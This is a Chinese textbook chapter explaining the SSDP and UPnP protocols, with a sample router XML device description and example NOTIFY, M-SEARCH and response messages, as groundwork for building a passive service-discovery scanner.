本章首先对当前较为普及的简单服务发现协议（SSDP）进行了全面而详细地介绍，以期让读者了解其技术细节，随后用已经普及了的无线路由器为例，说明一个服务发现扫描器的设计细节。

与前面各扫描器不同的是，这是一种全新概念的扫描器，它打破了以往那种先发试探数据，然后再根据对方的反应做出判断的扫描模式，而是在不主动向对方申请的前提下，只通过采用“聆听”的模式获得想要的东西。因此这种扫描器非常安全，不会被扫描主机发现，并且，这种扫描的概念把“扫描器是黑客工具”转为“扫描器是查询工具”，开创了扫描器的新方式。

因此，本章的编程实例，将服务发现扫描器设计成了一种集“扫描”和“辅助工具”为一体的服务发现扫描器。


 10.1　服务发现简介

SSDP（Simple Service Discovery Protocol，简单服务发现协议）是一个应用层的协议，该协议定义了一个设备如何发现网络、读取配置、在网络上通知自己的存在、发现其他设备、与设备进行交互，以及如果离开后通知其他设备等一系列操作方法。在整个过程中，绝大多数操作都是人为自动完成的，即从服务的角度，无论是自己服务提供别的设备，还是请求别的设备的服务，都是自动发现的，而不是事先全部配好的，所以称之为“服务发现”。

首先从宏观上了解一下SSDP协议。点击“开始→控制面板”，在弹出的控制面板窗口中，找到并双击“管理工具”图标，打开“管理工具”窗口，在该窗口中找到并双击“服务”图标，系统会列出“服务”窗口，在窗口的服务列表中，找到"SSDP Discovery Service"，双击列表项会弹出“SSDP Discovery Service的属性（本地计算机）”对话框，如图10.1所示。该窗口列出了SSDP协议的当前运行状况。
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图　10.1　SSDP服务“常规”界面

在“常规”选项卡中可以看到，该服务的名称为"SSDPSRV"，进程名为svchost.exe，在Windows XP下默认安装的启动类型是手动。根据这一点可以知道，如果需要启动该服务，用户要手动地单击“启动”按钮完成该服务的启动，单击“停止”按钮可以停止该服务。与单击“启动”或“停止”按钮相等效的是在命令行运行DOS命令。如果想从命令行启动该服务，可以在命令行输入"net start SSDPSRV"；停止该服务，则输入"net stop SSDPSRV"。如果该服务启动不成功，请参阅下面“依存关系”选项卡中的解释。在“描述”框中，给出SSDP协议的一个解释是“启动您家庭网络上的UPnP设备的发现。”，这将引出另一个比SSDP协议低一层的UPnP协议，这也是后面的一个重点。随后的“启动”、“停止”、“暂停”、“恢复”等按钮列出了该服务当前状态，并可以通过这些按钮改变当前状态。

在“依存关系”选项卡中，列出了SSDP协议实现上，仍然还需要存在并正常运行的组件和服务，如图10.2所示。
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图　10.2　SSDP服务“依存关系”界面

可以看到，SSDP协议如果要作为一个服务运行，需要有HTTP组件。从这里不难看出，SSDP协议将要使用HTTP协议作为其通信协议（严格地说，SSDP信息的传送是依靠HTTPU和HTTPMU进行的），并且该服务还会作为UPnP设备主机服务的基础服务。

总的来说，SSDP协议的服务程序SSDPSRV（图10.1所示）主要用于局域网上UPnP设备的搜索。UPnP并不同于物理设备的PnP（Plug and Play，即插即用）。PnP的任务是把物理设备和软件（设备驱动程序）相配合，在每个设备和它的驱动程序之间建立通信信道，使之能操作设备。换种说法，PnP分配下列资源给设备和硬件：I/O地址、IRQ、DMA通道和内存段。而UPnP技术则对PnP进行了扩展，简化了家庭或企业中智能设备的联网过程，UPnP技术不依赖于特定的设备驱动程序，而是使用标准协议，这样做的意义在于，能够轻易地使家庭等非专业用户享受到智能化技术带来的更舒适完美的生活。


10.2　UPnP协议

UPnP（Universal Plug and Play，通用即插即用）协议，是Microsoft公司在1999年推出的一个标准。它的设计初衷就是只要设备一接上网络，所有在网络上的设备马上就能知道有新设备加入，并且知道该设备是做什么的，并对其进行数据交换，从而使用或控制它。而这一切不需要像常规的设备一样，需要装驱动并进行配置等操作，而是完全通过协议做到即插即用。

在UPnP中，有以下几个重要的概念：

❑服务（Service）：在UPnP网络中，最小的控制单元就是服务。这里的服务指的是设备在不同的情况下的活动和设备的状态。例如，时钟服务可以表述为时间变化（状态变化）、当前的时间（时钟的状态）以及设置时间和读取时间两个活动，通过这两个活动就可以控制服务。

❑设备（Device）：UPnP网络中定义的设备具有很广泛的含义，各种各样的家电、电脑外设、智能设备、无线设备、个人电脑等等都可以成为其中一员。一个UPnP设备可以是多个服务的载体和多个子设备的嵌套集。例如一台打印机提供打印服务；一台电视有提供收看电视节目的服务，这些都属于设备。设备是指其他服务或者设备的容器。一个设备可以包含其他的逻辑设备。根设备（root）是指处于设备树最顶层的设备。

❑控制点（ControlPoint）：在UPnP网络中，控制点指的是可以发现并控制其他设备的控制设备。在UPnP网络中，设备可以和控制点合并。也就是说，同一个设备，可以同时具有设备的功能和控制点的功能，既可以作为设备提供服务，也可以作为控制点发现和控制其他设备。

这几个概念的相互关系如图10.3所示。
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图　10.3　设备、服务和控制点的关系

在UPnP中，设备的工作可以分为寻址（Addressing）、发现（Discovery）、描述（Description）、控制（Control）、事件（Eventing）、展示（Presentation）六个类型，其关系如图10.4所示。
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图　10.4　UPnP实现的工作流程

这六个工作类型的作用分别是：

❑寻址：是设备或控制点加入网络的第一步，是设备或控制点找到网络的配置自身的方法。

❑发现：作为控制点在整个网络上寻找UPnP设备，作为设备则要定时向其他设备广播自身的存在。

❑描述：控制点获得设备对自身服务的描述，从而知道该设备是什么，干什么用。

❑控制：控制点向设备发现控制动作信息；设备接收到控制动作信息，实施动作。

❑事件：设备自身改变了状态时，应该向控制点反馈信息；控制节点收到设备反馈信息后知道了设备的状态；

❑展示：控制点利用HTML界面来控制设备和查看设备状态。


 10.2.1　寻址

UPnP是基于TCP/IP协议的网络通信协议，因此每一个控制点或设备都应该有一个IP地址由于未加入网络的设备并不知道自己应该用什么样的IP地址比较合适，所以在要加入到某网络中，需要根据情况，找到自己适合的IP地址，这一过程称为“寻址”。

UPnP设备寻址的一般过程是：设备首先向DHCP（Dynamic Host Configuration Protocol，动态主机配置协议）服务器发送DHCPDISCOVER消息，如果收到，则设置为DHCP服务器所要求的IP地址。如果在指定的时间内没有收到DHCPOFFERS回应消息，设备必须使用"Auto-IP"方法完成IP地址的设置，即设备先自动生成一个随机的IP地址，然后通过ARP协议（Address Resolution Protocol，地址解析协议）测试此IP地址是否已被使用，如果已使用，则再次使用"Auto-IP"方法随机生成新的IP地址，并重复上述方法再进行检测；如果未使用，则使用此IP作为本身IP。即使如此，设备仍然需要定时检测DHCP服务器是否存在，如果存在，则设备马上释放掉自己通过"Auto-IP"方式分配的地址，而采用DHCP服务器设定的IP地址，并且在此后的所有信息中使用新的IP地址。这个过程如图10.5所示。
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图　10.5　UPnP实现的寻址工作流程


10.2.2　发现

一旦设备连接到网上并且分配了地址，就可以进行“发现”操作了。在简单发现协议SSDP中，发现操作有两方的行为：

❑作为设备，应该定时向网络中组播自己存在的消息，以便控制节点识别，同时，当设备接收到有控制节点发现的单播查询请求，设备会根据自己的情况做出判断，决定是否单播回复此请求。

❑作为控制点，既可以根据各个设备的组播搜集自己感兴趣的设备信息，为下一步获得设备描述做准备，也可以向网络中主动发出单播查询请求，然后侦听设备回复的“发现”行为。

上述设备和控制点之间所有双方交换的信息都是发现消息，所交换的内容包括设备的一些特定信息或者某项服务的信息，如设备的类型、标识符，和指向XML设备描述文档的指针。整个发现操作如图10.6所示。
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图　10.6　UPnP实现的发现工作流程

如前所述，这里的“设备”不是物理设备的概念，而是一个以服务为单位进行区分的逻辑设备，并称整个设备为根（root）设备。这种嵌套关系可见图10.3。对于这种情况，设备在定时组播的时候，需要针对每一个“设备”分别发送组播信息到各控制点，而对于来自控制点的组播查询，设备则根据控制点查询参数进行回复，如查询的时候只查询根设备，则只有根设备回复。这些操作的细节，可参考本章后面10.5节“编程实例：服务发现扫描器的设计”。

关于组播、单播、广播的区别与说明可参考“附录A.3易混概念”。

以图10.6为例：先看控制点，“控制点1”和“控制点2”都能不时地能收到来自设备的定时组播数据（图中只画了“设备1”的定时组播，没有画“设备2”的）。某一时刻，“控制点2”想要查询某一类设备时，就向所有设备发出组播查询，各设备根据自己实际情况判断是否符合其查询条件，“设备2”发现符合，于是就以单播的形式回复了“控制点2”；“设备1”发现不符合就没有回复。再看设备，“设备1”和“设备2”定时向外发送自己的信息数据，同时都监听着来自任何一个控制点的组播查询，当上述的那一时刻，“设备1”和“设备2”同时接到“控制点2”的组播查询，于是“设备2”发现自己符合，于是就单播回复；“设备1”不符合，就没回复。

上述无论是从控制点角度看，还是从设备角度看都一样，其中都有一个“组播查询”和“单播回复”现象，之所以这样设计，在后面仍有介绍。在这里，用一个生活例子来说明：快递员到一群人中找一个知道名字但不认识的人，最好的办法就是冲人群喊一声此人名字（组播或广播），此人听到叫他，一般没必要再大喊响应，而是直接走到快递员身边私语确认即可（单播）。


10.2.3　描述

控制点无论通过主动查询的方式，还是被动监听的方式，都可以获得网内所有设备的信息。靠这些设备提供的信息，控制点只是知道了设备的名称、UPnP类型、设备的UUID、设备描述的URL地址，用这些信息来控制这些设备还远远不够。因为即使是同样的设备，由于功能、型号、版本的不同，而有所差别，这时，就需要控制点进一步地获得设备的“描述”，以便知道如何对设备或服务进行控制。如图10.7所示。
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图　10.7　UPnP实现的描述工作流程

所谓UPnP网络结构下的设备描述，就是设备对自身服务和控制方法的功能说明，对于设备的UPnP描述一般分成两个部分：“设备描述”和“设备服务的描述”。其具体的描述格式采用XML（Extensible Markup Language，可扩展标记语言）。（在随后的10.3节“XML协议”中，有一个无线路由器设备的描述实例。）

二者的详细内容如下：

❑设备描述：UPnP对某一设备的描述是以XML形式表示的，描述内容包括模块名称、模块编号、序列号、制造商名称、制造商网站的URL等制造商的信息，也包括其逻辑子功能设备的描述和URL地址集。对于一个物理设备可以包含多个逻辑子设备，这些逻辑子设备既可以是在一个根设备中嵌入多个设备，也可以是多个根设备组成完成某一功能。

❑设备服务描述：包括一系列命令或者动作、服务响应、动作的参数，同时也有一系列服务描述变量（包括数据类型、取值范围和事件特性等）。通过对命令的操作，可以完成动作；通过对变量的读取，可以了解设备或服务运行的状态。

设备描述和设备服务描述都是由设备制造商提供的，因为只有设备制造商最了解自己的设备特性，而为了规范各描述的接口和使设备更透明化，则要求这些描述都必须遵循UPnP设备模板，此模板是由UPnP工作委员会生成的。为了和其他系统进行兼容，UPnP工作委员会规定，模板采用XML格式进行描述，并且XML的位置需要在设备定时组播的数据包中指定。


10.2.4　控制

在接收设备和服务描述之后，控制点即可以查询变量的状态值，也可以向这些服务发出动作命令，这些操作统称为控制。查询变量是控制点向设备的服务发送一个查询的命令，设备的服务响应该查询，将查询的结果回复给发现查询命令的控制点；而控制点直接向服务发出动作命令，其实质上是向设备的服务发出一个远程过程调用（Remote Procedure Call，RPC），然后设备将调用的执行结果，以响应的方式回复给控制点。在变量查询中，对每一个参数的查询其实也是一个或多个函数实现的，对它的操作也可以转化为远程过程调用，因此可见变量查询也是一种动作命令的控制。

当要查询的参数或动作较多时，一般需要采用轮询的方式进行操作。该流程可见图10.8。
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图　10.8　UPnP实现的控制工作流程


10.2.5　事件

对设备进行控制时，如果采用轮询的方式进行操作，存在一个弊端。轮询时，如果每两个操作的中间间隔很短，会使控制点和设备都处于“繁忙”状态，这些频繁的交换操作占用了大量的资源（CPU资源、内存资源、网口通信资源）；如果每两个操作的中间间隔很长，当有敏感信息出现时，该信息需要每隔一整个轮询周期才能被再次读取，这会使一些重要的参数错过最佳读取时间。回想SNMP协议的处理机制，不难想到SNMP协议的“陷阱”。这一机制体现在UPnP协议中，就是事件。

正如设备的描述中所示，一个即插即用服务描述包括服务响应的动作列表和运行时描述服务状态的变量列表。某一时刻，如果一个或多个状态变量因事件触发而改变（即满足了设置该变量的预置条件），服务会在这些变量发生变化时主动发布更新。控制点可以通过“订阅”操作以获得设备主动发布的这些更新信息。并且可以通过“续订”操作以在上一次“订阅”或“续订”操作失效之前继续保持这种监听状态，直到“取消订阅”操作，使控制点结束对某一设备主动发布更新的关注。该流程参见图10.9。
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图　10.9　UPnP实现的事件工作流程

要订阅事件，控制点可发送一条“订阅”请求消息完成订阅操作，设备在收到此消息后，记录下控制点的地址，并设定一个持续时间。在持续时间有效的范围内，当有事件发生时，设备会主动、及时地向控制点反馈事件消息（为了区分，在图10.9中，事件以双线显示），当持续时间到达或超过时，则认为此次订阅到期，即使此后再发生事件，也不再向该控制点反馈，因此，如果控制点想持续获得某一设备的事件信息，就需要在上一次订阅未到期之前进行“续订”。当控制点不再需要设备的事件消息时，可以通过“取消订阅”消息取消“事件”状态，之后设备的事件信息就不再发给该控制点。

同样与SNMP的“陷阱”作比较，发现二者还是有一些不同，主要体现在两点：

❑SNMP的“陷阱”通常是一次“订阅”，直到“取消”之前，都一直是有效的，而UPnP的“事件”是需要多次“订阅”，以维持每次订阅后的持续时间。

❑SNMP的“陷阱”通常是对值的阈值进行判断，通俗地讲就是SNMP的陷阱通常用于判断某个参数值是否因越界而产生报警，而UPnP的“事件”则可以是越界报警，也可以仅仅是因为某个参数值发生了变化。

一个网络中，往往存在不止一个控制点，如果每一个设备都要记录每一个控制点都订阅了哪些“事件”，则需要很大的精力去过滤表中每一项和维护整个表。为了简化这一步骤，UPnP规定，设备只需要记录控制点的列表，而不需要记录每个控制点都分别订阅了哪些事件。每次发送事件消息的时候，所发的是各控制点订阅的事件“和集”，因此，对于每一个控制点，在订阅事件后，每次在接到事件消息时，都要从事件“和集”中过滤出自己关心的事件。

无论是订阅消息，还是事件消息本身，都是以XML文件格式表示的。


10.2.6　展示

在控制点发现设备和取得设备描述之后，控制点就可以对设备进行控制，或对设备发出的事件进行处理，这些操作往往都不需要界面，或只用简单的通用界面即可。但更多的情况下，控制点也需要将设备上某些参数、状态、中间处理结果、最终处理结果显示出来，这就是展示，如图10.10所示。作为设备，无论是参数值的类型，还是个数，都不确定，因此，设备的展示由控制点来完成是不可能的，而真正了解具体设备的是设备本身，因此展示也完全由设备制造商提供。
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图　10.10　UPnP实现的展示工作流程

在控制点和设备之间的各种交互中，专门有数据项用于展示，当控制点需要展示的时候，控制点直接读取该展示的URL，然后根据此URL读取设备上的一个页面，该页面当然也采用的是HTML格式，页面中包含了要展示的所有内容。控制点在浏览器中加载该页面，并根据页面功能支持用户控制设备或查询设备状态。（本段中涉及的URL、HTML、浏览器都是WWW服务中的内容，详细信息可参考第7章的7.1节“WWW服务扫描”。）


10.3　XML协议

XML（Extensible Markup Language，可扩展标记语言）是一种简单的数据存储语言。从作用上看，虽然它与Access、Oracle和SQL Server等数据库一样可以用来存储数据，但与后三者不同的是，XML并不提供数据的分析能力。即用户可以用XML保存数据，但不能指望XML提供数据的索引、排序、查找、相关一致性等操作。

从格式上，XML与HTML（详见第7章的7.1节“WWW服务扫描”）一样，都属于标准通用标记语言（Standard Generalized Markup Language，SGML），但XML是用来存储数据的，重在数据本身，而HTML是用来定义数据表现形式的，重在数据的显示方式。XML描述的内容封装在开始标签“＜标签名＞”和结束标签“＜/标签名＞”之间，一对标签及其封装的内容，如“＜book＞《庄子集注》＜/book＞”，被称为一个元素。元素可以嵌套，一个XML文档正是由许多这样的元素嵌套而成的。元素可以有属性，可赋予属性值。

和HTML语言的另一个不同之处在于，HTML中的标签都是预定义的关键字，浏览器过滤掉不认识的关键字；而XML语言中绝大多数的标签都是自定义的。这种自定义元素名和属性名的方式，往往会随着XML的应用扩大而大量重名，这种冲突会引起歧义。为了避免这种现象，XML约定采用“两段式命名法”，即对于每一个名称，都采用前缀与名称同时用，前缀称为命名空间，名称则是元素或属性名称，二者之间用半角冒号“:”隔开。例如，“花朵:颜色”和“树木:颜色”虽然同为颜色，但却是不同的两个概念。命名空间的格式是“＜命令空间前缀xmlns=”命名空间名”＞”。代码清单10.1是一种无线路由器XML设备描述。



＜?xml version="1.0"?＞

＜root xmlns="urn:schemas-UPnP-org:device-1-0"＞

＜specVersion＞

＜major＞1＜/major＞

＜minor＞0＜/minor＞

＜/specVersion＞

＜URLBase/＞

＜device＞

＜deviceType＞urn:schemas-UPnP-org:device:InternetGatewayDevice:1＜/deviceType＞

＜presentationURL＞http://172.20.1.1:80＜/presentationURL＞

＜friendlyName＞TP-LINK Wireless Router WR541G＜/friendlyName＞

＜manufacturer＞TP-LINK＜/manufacturer＞

＜manufacturerURL＞http://www.tp-link.com＜/manufacturerURL＞

＜modelDescription＞TP-LINK TL-WR541G/542G 4.0＜/modelDescription＞

＜modelName＞TL-WR541G/542G＜/modelName＞

＜modelNumber＞4.0＜/modelNumber＞

＜UDN＞uuid:UPnP-InternetGatewayDevice-172201145678900001＜/UDN＞

＜UPC＞123456789001＜/UPC＞

＜serviceList＞

＜service＞

＜serviceType＞urn:schemas-UPnP-org:service:Layer3Forwarding:1＜/serviceType＞

＜serviceId＞urn:UPnP-org:serviceId:L3Forwarding1＜/serviceId＞

＜controlURL＞/l3f＜/controlURL＞

＜eventSubURL＞/l3f＜/eventSubURL＞

＜SCPDURL＞/l3f.xml＜/SCPDURL＞

＜/service＞

＜/serviceList＞

＜deviceList＞

＜device＞

＜deviceType＞urn:schemas-UPnP-org:device:WANDevice:1＜/deviceType＞

＜friendlyName＞WAN Device＜/friendlyName＞

＜manufacturer＞TP-LINK＜/manufacturer＞

＜manufacturerURL＞http://www.tp-link.com＜/manufacturerURL＞

＜modelDescription＞WAN Device＜/modelDescription＞

＜modelName＞WAN Device＜/modelName＞

＜modelNumber＞1＜/modelNumber＞

＜modelURL/＞

＜serialNumber＞12345678900001＜/serialNumber＞

＜UDN＞uuid:UPnP-WANDevice-172201145678900001＜/UDN＞

＜UPC＞123456789001＜/UPC＞

＜serviceList＞

＜service＞

＜serviceType＞urn:schemas-UPnP-org:service:WANCommonInterfaceConfig:1

＜/serviceType＞

＜serviceId＞urn:UPnP-org:serviceId:WANCommonInterfaceConfig＜/serviceId＞

＜controlURL＞/ifc＜/controlURL＞

＜eventSubURL＞/ifc＜/eventSubURL＞

＜SCPDURL＞/ifc.xml＜/SCPDURL＞

＜/service＞

＜/serviceList＞

＜deviceList＞

＜device＞

＜deviceType＞urn:schemas-UPnP-org:device:WANConnectionDevice:1＜/deviceType＞

＜friendlyName＞WAN Connection Device＜/friendlyName＞

＜manufacturer＞TP-LINK＜/manufacturer＞

＜manufacturerURL＞http://www.tp-link.com＜/manufacturerURL＞

＜modelDescription＞WAN Connection Device＜/modelDescription＞

＜modelName＞WAN Connection Device＜/modelName＞

＜modelNumber＞1＜/modelNumber＞

＜modelURL/＞

＜serialNumber＞12345678900001＜/serialNumber＞

＜UDN＞uuid:UPnP-WANConnectionDevice-172201145678900001＜/UDN＞

＜UPC＞123456789001＜/UPC＞

＜serviceList＞

＜service＞

＜serviceType＞urn:schemas-UPnP-org:service:WANIPConnection:1＜/serviceType＞

＜serviceId＞urn:UPnP-org:serviceId:WANIPConnection＜/serviceId＞

＜controlURL＞/ipc＜/controlURL＞

＜eventSubURL＞/ipc＜/eventSubURL＞

＜SCPDURL＞/ipc.xml＜/SCPDURL＞

＜/service＞

＜/serviceList＞

＜/device＞

＜/deviceList＞

＜/device＞

＜/deviceList＞

＜/device＞

＜/root＞



由于XML是标准数据格式，所以很多程序都支持并识别这种格式，Microsoft Internet Explorer（简称IE）同样支持读取XML，图10.11是通过IE打开代码清单10.1所示的无线路由器的XML设备描述实例。
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图　10.11　通过IE打开无线路由器的XML设备描述

不难发现，IE不仅能打开并显示其内容，并且能结构化显示，即IE会按照格式自动排出层次，并且根据嵌套关系，在每一个嵌套的顶层左边有一个可收缩（减号“-”）或展开的（加号“+”）按钮符号。在图10.11中，按层次关系，凡是展开的嵌套关系，左边都有一个减号“-”，单击减号按钮，该嵌套关系会自动收缩起来，此按钮变为加号“+”按钮；单击加号“+”按钮则完成相反的操作。


10.4　SSDP协议分析实例

简单服务发现协议（SSDP）是为网络客户提供的一个网络资源主动发现的协议。该协议主要用于在未知网络，或刚开机时使用，通过协议发现网络上指定的资源，进而从中选择合适的成员进行通信。在UPnP协议中，详细地定义了寻址、发现、描述、控制、事件、展示六个完整的步骤，详细地说明了在每一步的实现方式，而SSDP协议则是该协议的一个具体应用，这里所要涉及的不仅仅是每一步如何实现，还要定义所使用的格式、每个参数的意义。鉴于本书只围绕扫描器进行论述，所以每个步骤的介绍也只偏重于其与扫描器设计相关的部分。

SSDP协议与UPnP协议一样，一个设备在初始化后，首先要查找DHCP服务器，以确定自己的IP地址，如果没有找到DHCP服务器，就随机生成一个一定范围内的IP地址，当确定该IP地址没有冲突时，就将该IP地址作为自己的IP地址。完成寻址后，下一步就是在指定的组播地址中通知别的设备自己的存在，这时要做的就是向网络中发送一个“设备在线”的消息，这样别的设备就可以通过这个消息知道有新设备的接入。当设备要离开网络的时候，需要发送一个“设备退出”的消息，以便通知网络自己的离开。加入网络中的所有设备在随后的时间里要同样周期性地向全网组播“设备在线”消息，这样做既可以让以后加入的设备知道自己的存在，也可以知道其他设备的状态，同时避免了有的设备在来不及发送“设备退出”消息之前就已退出（如死机），而导致别的设备误认为该设备仍然在线的情况。

除此之外，作为控制点，也可以主动向组播中发送一个“发现请求”的消息，各设备接到“发现请求”消息后，根据消息中指定要发现的设备类型，看自身是不是符合条件，如果符合条件，则向控制点回送“发现回复”的消息。所回复的IP地址和端口取自于控制点向组播中发送“发现请求”消息时所采用的IP地址和端口。这样做的目的有二个，一则当前在线的各设备都可以实时通过组播地址收到其他设备周期性的组播信息，知道其设备类型；二则是通过单播可以减少组播中的数据量。

由上可知，在网络中，至少已有“设备在线”、“设备退出”、“发现请求”、“发现回复”四个消息。由UPnP协议可以知道，在此后的网络进程中，还会有更多更复杂的操作，如根据设备描述对设备进行控制、捕获事件等操作，这些操作本身针对性较强，不同的设备差别较大，因此不再展开。

服务发现扫描器的作用，就是通过UPnP协议、SSDP服务，通过分析，“扫描”到设备中都有哪些设备的存在。与别的扫描器不同的是，服务发现扫描器有一个很有趣的现象，那就是在上述分析的四个消息中，可以通过“发现请求”、“发现回复”两个消息主动地发现当前在线的设备；也可以通过“设备在线”、“设备退出”被动地获得当前在线的设备，只不过时间稍长一点而已。


 10.4.1　设备类型

在SSDP协议中，控制点要了解一个设备，并能控制这个设备，首先要能识别出这个设备，至少要知道这个设备的类型。在SSDP协议中，设备类型的一般格式为"urn:schemas-UPnP-org:device:uuid-device"，其中uuid-device为UPnP工作委员会定义的标准设备类型。在UPnP设备模板和设备类型之间是一一对应的，设备制造商也可以指定其他的名字，一般格式为urn:domain-name:device:uuid-device，其中uuid-device为制造商定义的标准设备类型，domain-name字段为设备制造商注册的域名。

后面的SSDP协议和消息描述中，将会在实例中涉及一些设备，如果不知道这些设备类型，则可能会看不懂该设备是做什么的。在本来就不多的介绍SSDP协议的书中，介绍设备如何定义的更是少之又少，表10.1是作者根据经验所总结的SSDP已定义的设备列表。需要说明的是：该列表只是收集的，并不具有全面性和权威性，并且随着SSDP设备的发展，必然还会有更多新的设备类型出现，因此这个表的内容仅供读者参考，借以对SSDP各种类型设备有一个宏观了解。
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10.4.2　协议消息格式

从技术上看，简单服务发现协议是在HTTPU和HTTPMU的基础上实现的协议。因此，其格式、访问方式等都与HTTP协议相似，故凡是在第7章的7.1节“WWW服务扫描”中提及的，这里不再重复。

根据互联网地址指派机构的规定，SSDP协议采用基于通知和发现路由的多播发现方式实现。协议客户端在保留的多播地址：239.255.255.250：1900（IPV4）发现服务（IPv6是：FF0X::C），同时每个设备服务也在此地址上监听“发现请求”服务。如果服务监听到的“发现请求”与此服务相匹配，此服务会使用单播方式响应。其原理如图10.12和图10.13所示。
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图　10.12　SSDP网络控制原理图
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图　10.13　SSDP网络控制拓扑图

对于每一个控制点和设备内部要至少有两个端口参与对设备的控制，其中有一个端口固定为1900，这是SSDP协议的组播地址，所以该端口用于接收组播信息，另一个端口则用于发送请求。

在图10.13中，所有的控制点是等价的，所有的设备所处的位置和原理是等价的。

SSDP消息由于与WWW服务中的HTTP协议兼容，所以二者格式也相似，下面以扫描器中所关注的“设备在线”、“设备退出”、“发现请求”、“发现回复”等四个消息为例说明。

10.4.2.1　设备端：设备在线

当一个设备接入网络的时候，它应当向SSDP多播地址239.255.255.250的SSDP端口1900发送如下消息：



NOTIFY*HTTP/1.1

HOST:239.255.255.250:1900

CACHE-CONTROL:max-age=100

LOCATION:http://192.168.1.1:1900/igd.xml

NT:UPnP:rootdevice

NTS:ssdp:alive

SERVER:TP-LINK Wireless Router WR340G,UPnP/1.0

USN:uuid:UPnP-InternetGatewayDevice-192168115678900001::UPnP:rootdevice



消息中的参数如下：

❑NOTIFY：表示这是一个设备通过组播向外界发送的一组通知。其中后面的"HTTP/1.1"表示采用的是HTTP协议的格式且版本为1.1。

❑HOST：表示接收消息的主机地址和端口号，在整个SSDP协议中，凡是通过组播向外界发送的通知类信息必须为“239.255.255.250:1900”。

❑CACHE-CONTROL：表示该消息的有效时间，默认以秒为单位。max-age=100表示从接收到该消息开始的100秒内，如果没有收到其他消息，此信息都可以认为是有效的;如果接收新的消息，则以新的消息中的时间为准。这样做的目的是避免某设备因为死机或来不及发送“设备退出”消息的情况下被迫离开网络，但别的设备仍然会认为该设备是正常的。同样，作为设备方，应该在100秒之内周期性重发此消息，以使控制点知道自己仍然正常工作。

❑LOCATION：包含根设备描述的URL地址，该URL一般是指向一个XML文件，控制点可以下载此XML文件，以便获得更多设备的信息。（在10.3节“XML协议”中所举的实例便是idg.xml文件。）

❑NT：服务的类型。在此例中的"UPnP:rootdevice"表示该设备为根设备。

❑NTS：表示通知消息的子类型，必须为ssdp:alive，这表明该节点是新的节点。

❑SERVER：表示操作系统名、版本、产品名和产品版本信息。

❑USN：表示不同服务的统一服务名，它提供了一种标识出相同类型服务的能力。

当设备加入网络时，会发送“新设备加入”的消息，但UDP协议是不可信的，所以该消息并不能保证所有的设备和控制点都收到，并且随后仍然还会有其他控制点或设备的加入，这些新加入的控制点会因为没有收到“新设备加入”的消息，而不知道之前已加入的设备情况，并且设备发出的消息中，字段"CACHE-CONTROL"表示消息有效时间，如果超过此时间间隔，控制点可以认为该设备已离开了。

为了解决上述各问题，SSDP协议要求设备应该周期性定时发送“设备在线”的消息。这样做就可以让各个设备之间都可以相互了解最新的状态。“设备在线”的消息和“新设备加入”的消息完全一样，不需要其他控制点和设备回应此消息。

10.4.2.2　设备端：设备退出

在设备要离开网络的时候，同样，需要通知其他的控制点和设备，此时，该设备应该发送“设备退出”消息。典型的“设备退出”消息格式如下：



NOTIFY*HTTP/1.1

HOST:239.255.255.250:1900

CACHE-CONTROL:max-age=100

LOCATION:http://192.168.1.1:1900/igd.xml

NT:UPnP:rootdevice

NTS:ssdp:byebye

SERVER:TP-LINK Wireless Router WR340G,UPnP/1.0

USN:uuid:UPnP-InternetGatewayDevice-192168115678900001::UPnP:rootdevice



该格式中，所有头域项的意义和上一小节“设备在线”消息的解释完全一样，所不同的是NTS头域中的值由"ssdp:alive"变成了"ssdp:byebye"，表示该节点马上将要退出网络。

注意，"CACHE-CONTROL:max-age=100"用来表示在之后的100秒内，如果没有接到给该设备的其他消息，则控制点可以认为该设备已离开了网络。虽然这个机制可以让设备在“不告而退”后仍然能够发现设备已退出了网络，但仍然要求设备都能在离开时，主动发送“设备退出”消息，告知设备已退出网络。

10.4.2.3　控制点端：发现请求

当一个控制点（客户端）接入网络的时候，首先会寻找网络上自己感兴趣的设备。这时，它可以向一个特定的多播地址的SSDP端口使用M-SEARCH方法发送"ssdp:discover"消息。SSDP协议的“发现请求”用于在网络上查找指定的设备及其服务，其格式如下：



M-SEARCH*HTTP/1.1

HOST:239.255.255.250:1900

MAN:"ssdp:discover"

MX:3

ST:UPnP:rootdevice



消息中的参数如下：

❑M-SEARCH：表示这是一个设备通过组播向外界发送的一个查询消息。其中“*”表示任意类型的文件，"HTTP/1.1"表示采用的是HTTP协议的格式且版本为1.1。

❑HOST：表示接收消息的主机地址和端口号，在整个SSDP协议中，凡是通过组播向外界发送的通知类信息必须为“239.255.255.250:1900”。

❑MAN：设置协议查询类型，必须为“”ssdp:discover””（包括半角的引号）。这样做的目的是让对方先确定一下是否能理解和支持"ssdp:discover"，如果支持，则进行解析；否则不要处理。

❑MX：设置设备响应最长等待时间，数值在0～3之间，可随机选择响应延迟的值，这样可以为控制点响应平衡网络负载。

❑ST：服务的类型。在此例中的"UPnP:rootdevice"表示该设备为根设备。必须是下面的类型：
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上面数据内容是一个典型的SEARCH消息实例，SEARCH消息必须包括一个ST（Search Type，搜索类型）的头，其内容是希望发现的设备及服务类型。上例中，要查找的统一资源名称是：schemas-UPnP-org，要查找的设备是：InternetGatewayDevice设备号为1。

专有设备或服务可以不遵循标准的UPnP模板，但如果设备或服务提供UPnP发现、描述、控制和事件过程的所有对象，它的行为就像一个标准的UPnP设备或服务。为了避免命名冲突，使用专有设备命名时除了UPnP域之外必须包含一个前缀”urn:schemas-UPnP-org”。在与标准模板相同时，应该使用整数版本号。

10.4.2.4　设备端：发现回复

当设备监听到这个保留的多播地址上由控制点发送的消息时，设备会分析控制点请求的服务，如果自身提供了控制点请求的服务，设备将通过单播的方式直接响应控制点的请求。如果某个设备符合条件，则可以回复，在设备接收到查询请求并且查询类型（ST字段值）与此设备匹配时，设备必须向多播地址239.255.255.250:1900回应响应消息。发现回复消息如下例：



HTTP/1.1 200 OK

CACHE-CONTROL:max-age=100

DATE:Wed,15 Jun 2011 22:04:49 GMT

EXT:

LOCATION:http://192.168.1.1:1900/igd.xml

SERVER:TP-LINK Wireless Router WR340G,UPnP/1.0

ST:UPnP:rootdevice

USN:uuid:UPnP-InternetGatewayDevice-192168115678900001::UPnP:rootdevice



消息中的参数如下：

❑HTTP：表示“发现回复”的消息；“/1.1”表示采用的HTTP协议版本为1.1版本；"200 OK"属于HTTP协议内容，表示命令正确（详见第7章的7.1节“WWW服务扫描”，或附录D“HTTP错误返回码”）。

❑CACHE-CONTROL：同“设备在线”消息。

❑DATE：命令回复的日期和时间。

❑EXT：向控制点确认MAN头域已经被设备理解。

❑LOCATION：同“设备在线”消息。

❑SERVER：同“设备在线”消息。

❑ST：同“发现请求”消息。

❑USN：同“设备在线”消息。

